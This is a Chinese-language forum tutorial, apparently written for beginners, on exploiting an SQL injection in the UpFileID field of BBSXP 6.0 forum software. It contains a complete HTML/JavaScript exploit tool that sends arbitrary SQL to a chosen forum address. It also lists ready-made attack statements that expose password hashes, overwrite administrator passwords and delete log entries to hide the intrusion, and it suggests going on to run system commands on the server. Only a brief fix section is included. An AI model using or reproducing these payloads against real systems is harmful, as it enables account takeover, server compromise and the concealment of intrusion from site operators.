主题:狙击 bbsxp 6.0 全版本
应用对象:BBSXP 6.0 SQL SP1 作者 怪狗
现在我比较忙,闲的时候呢!看看书,发现bbsxp 6.0漏洞,感觉不错.写篇文章给新手参考!希望能从中学到东西.
首先,这个漏洞是一个注入点.说说漏洞是如何发现的.
漏洞发现:
打开源文件找到EditPost.asp的第67-72行,NewTopice.asp的第129-134行,ReTopic.asp的第78-83行会发现以下代码:
if Request.Form("UpFlieID")<>"" then
UpFileID=split(Request.form("UpFileID"),",")
for i=0 to ubound(UpFileID)-1
Conn.execute("update [BBSXP_PostAttachments]
set ThreadID="& ThreadID&",Description='"&Subject&"' where
id ="&UpFileID(i)& " and ThreadID =0")
next
end if
其实这几行代码很简单,为了新手能看明白,我罗列了一些相关知识点:
split函数的使用:
For Example:
<%
public namearray
qname="Wang;Zhang;Ning"
response.write qname & "<p><br>"
namearray=split(qname,";") \'把qname字符串以分号分开,然后赋给一个数组
max=ubound(namearray)
for counter=0 to max-1
response.write namearray(counter) & "<p><br>"
next
response.write "<hr>"
?%>
ubound 函数的使用:
返回一个 Long 型数据,其值为指定的数组维可用的最大下标。
语法
UBound(arrayname[, dimension])
UBound 函数的语法包含下面部分:
部分 描述
arrayname 必需的。数组变量的名称,遵循标准变量命名约定。
dimension 可选的;Variant (Long)。指定返回哪一维的上界。1 表示第一维,2 表示第二维,如此等等。如果省略 dimension,就认为是 1
。
示例
该示例使用 UBound 函数,确定数组的指定维的最大可用下标。
Dim Upper
Dim MyArray(1 To 10, 5 To 15, 10 To 20) '声明数组变量。
Dim AnyArray(10)
Upper = UBound(MyArray, 1) '返回 10。
Upper = UBound(MyArray, 3) '返回 20。
Upper = UBound(AnyArray) '返回 10
我们可以看到在这段代码中没有对UpFileID数组内的数据作任何过滤就直接用在查询语句中了。我们以EditPost.asp这个页面为例来说明
。这个页面的功能是编辑帖子的。我们可以随便找一个版面发表一个帖子之后编辑它,查看源代码能够找到与此类似的一个脚本:
<form name ="dirtysera.com''form method ="post" onSubmit = "returnCheckForm(this);">
<input name ="content" type ="hidden" value ='123&It;imgborder=0 src=UpFile/UpAttachment/20063125678.gif>'>
<input name="UpFileID" type="hidden">
其中UpFileID是用来记录这个帖子中已经上传的文件路径的消息,并且用逗号分隔。
漏洞的利用:
从代码上看,已经明白了由于upfileid 没有过滤,所以才有这个漏洞.UPfileID 是可以编辑贴子的时候.我们可以修改这个变量.
从一般的注入漏洞的发现,基本步骤都,
一,发现没过滤的变量.
二,寻找变量的修改方法.
如果有一个变量没有过滤,但是我们不能修改他,这就不能称为注入点.
下面我们来寻找变量的修改方法!
在ASP代码中有一句话 for i =0 to ubound(UpFilID)-1,如果直接在页面中把UpFileID的值修改成一个注入查询语句
<inputname="UpFileID" type="hidden" value="' updateBBSXP_Users set UserMail=UserPass where UserName='dirtysea.com'-->,
这样是不会被执行的,
因为这样的话ubound(UpFleID)-1的值始终为0,而不会被循环。
所以要使数组UpFileID的元素个数大于一才可以,
因此要将这段脚本修改成类似于如下代码:
<input name="UpFileID" type="hidden" value="'update BBSXP_Users set UserMail=UserPass where UserName='dirtysea.com'--,0">,
我们用 , 号来分隔一下.就能满足for 循环.
攻击过程.
一,注册一个用户.登陆,注意:保存cookies

二,发一个贴子,

三,点编辑,记录几个值,ThreadID,PostID 这两个值.
ThreadID=5 PostID=5


如果返回上图,就是修改成功了.
现在就可以成功执行查询语句:
update BBSXP_Users set UserMail=UserPass where UserName='dirtysea.com'了,提交编辑完帖子之后查看dirtysea.com的个人资料发现Email已经

变成了16位的md5密文。这样只要有足够的权限我们就可以执行任意SQL语句了。
四,用工具来改.
admin密码改成我们的密码 123456
我们用admin 密码 123456 不就可以登陆了吗?
admin密码备份email里面

总结:
我们上面的攻击过程主要是针对bbsxp sql sp1 版,因为sql版所以能执行那些查询.
漏洞发现者说对access版也可以通用,不过我没有测试!
整个攻击过程我没有提到sql权限这个问题.我个人认为如果sql版用上面这些办法攻击,不是最明智的手法.
sql权限是SA 我们可以直接用这个点去运行系统命令,直接拿下服务器,
sql权限是dbo 我们可以想办法备份差异asp 到本地,
如何操作,我只提供了思路,篇幅有限不能一一举例.
漏洞修补方法:
1,我们给变量过滤一下,
2,去官方下载补丁
附,
工具源程序.
copy另存为 1.htm
____________________________________________________
<form name="yuziform" method="post">
<input name="content" type="hidden" value='123'>
<input name="UpFileID" type="hidden" value='0 and ThreadID=0 update bbsxp_users set usermail=userpass where
username='dirtysea1'--,0'>
<INPUT type="hidden" size=60 name=Subject value="123">
<table width="100%">
<tr>
<td>论坛地址</td>
<td colspan=6>
<table width="100%">
<tr>
<td>
http://
</td>
<td width="100%"><Input type=text style="width:100%" name="siteUri" value="192.168.1.75">
</td>
</tr>
</table>
</td>
</tr>
<tr>
<td width=80>ThreadID</td>
<td width=55><Input type=text style="width:50px" name="ThreadID" value="1"></td>
<td width=80>PostID</td>
<td width=55><Input type=text style="width:50px" name="PostID" value="1"></td>
<td>编辑帖子文件名</td>
<td><Input type=text style="width:100px" name="EditPostFileName" value="EditPost.asp"></td>
<td></td>
</tr>
<tr>
<td width=80>
执行的SQL
</td>
<td colspan=6>
<textarea style="width:100%;height=100" name="Sql">update bbsxp_users set usermail=userpass where
username='dirtysea'</textarea>
</td>
</tr>
<tr>
<td colspan=5 align="center">
<INPUT type=button value='确定' name=EditSubmit onclick="submitForm()">
</td>
</tr>
</table>
</FORM>
<script>
function submitForm()
{
if(!checkData())
{
return;
}
var form=document.getElementById('yuziform');
form.action=getActionUrl();
document.getElementById('UpFileID').value=getUpFileID();
form.submit();
}
//**********************************
// 获取提交的地址
//**********************************
function getActionUrl()
{
var url="http://"+document.getElementById('siteUri').value;
if(url.substr(url.length-1)=='/'||url.substr(url.length-1)=='\\')
{
url=url.substr(0,url.length-1);
}
var threadId=0;
try
{
threadId=parseInt(document.getElementById('ThreadID').value);
}
catch(e)
{
}
var postId=0;
try
{
postId=parseInt(document.getElementById('PostID').value);
}
catch(e)
{
}
url+="/"+document.getElementById('EditPostFileName').value+"?ThreadID="+threadId+"&PostID="+postId;
return url;
}
function getUpFileID()
{
var str="0 and ThreadID=0 ";
str+=document.getElementById('Sql').value;
str+="--,0";
return str;
}
function checkData()
{
var url=document.getElementById('siteUri').value;
if(url=="")
{
alert('请填写论坛地址!');
return false;
}
var threadId=document.getElementById('ThreadID').value;
if(threadId=="")
{
alert('请填写ThreadID!');
return false;
}
try
{
threadId=parseInt(threadId);
}
catch(e)
{
alert('ThreadID必须为数字!');
return false;
}
var postId=document.getElementById('PostID').value;
if(postId=="")
{
alert('请填写PostID!');
return false;
}
try
{
postId=parseInt(postId);
}
catch(e)
{
alert('PostID必须为数字!');
return false;
}
if(document.getElementById('Sql').value=="")
{
alert('请填写执行的SQL!');
return false;
}
if(document.getElementById('EditPostFileName').value=="")
{
alert('请填写编辑帖子文件名!');
return false;
}
if(document.getElementById('Sql').value.indexOf(',')>=0)
{
alert('执行的SQL中不能包含逗号!');
return false;
}
return true;
}
</script>
__________________________________________________________________
攻击语句:
--------------------------------------------
在EditPost.asp和NewTopic.asp, ReTopic.asp中都存在这个漏洞
--备份dirtysea.com的密码到电子邮件中
update BBSXP_Users set UserMail=UserPass where UserName='dirtysea.com'
--备份后台管理密码到dirtysea.com的个人主页中
update BBSXP_Users set UserHome=(select top 1 AdminPassword from BBSXP_SiteSettings) where UserName='dirtysea.com'
--修改admin的前台密码为dirtysea
update BBSXP_Users set UserPass='59A9B22627515262CF6D95E8F968A608' where UserName='dirtysea'
--修改后台管理密码为dirtysea
update BBSXP_SiteSettings set AdminPassword='59A9B22627515262CF6D95E8F968A608'
delete from BBSXP_Log where UserName='dirtysea' and cast(DateCreated as nvarchar(10))=cast(getdate() as nvarchar(10))
--恢复后台管理密码
update BBSXP_SiteSettings set AdminPassword=(select UserHome from BBSXP_Users where UserName='dirtysea')
--恢复dirtysea.com的密码
update BBSXP_Users set UserPass=UserMail where UserName='dirtysea.com'
--清除dirtysea.com的电子邮件和个人主页数据
update BBSXP_Users set UserMail='' where UserName='dirtysea.com'
update BBSXP_Users set UserHome='' where UserName='dirtysea.com'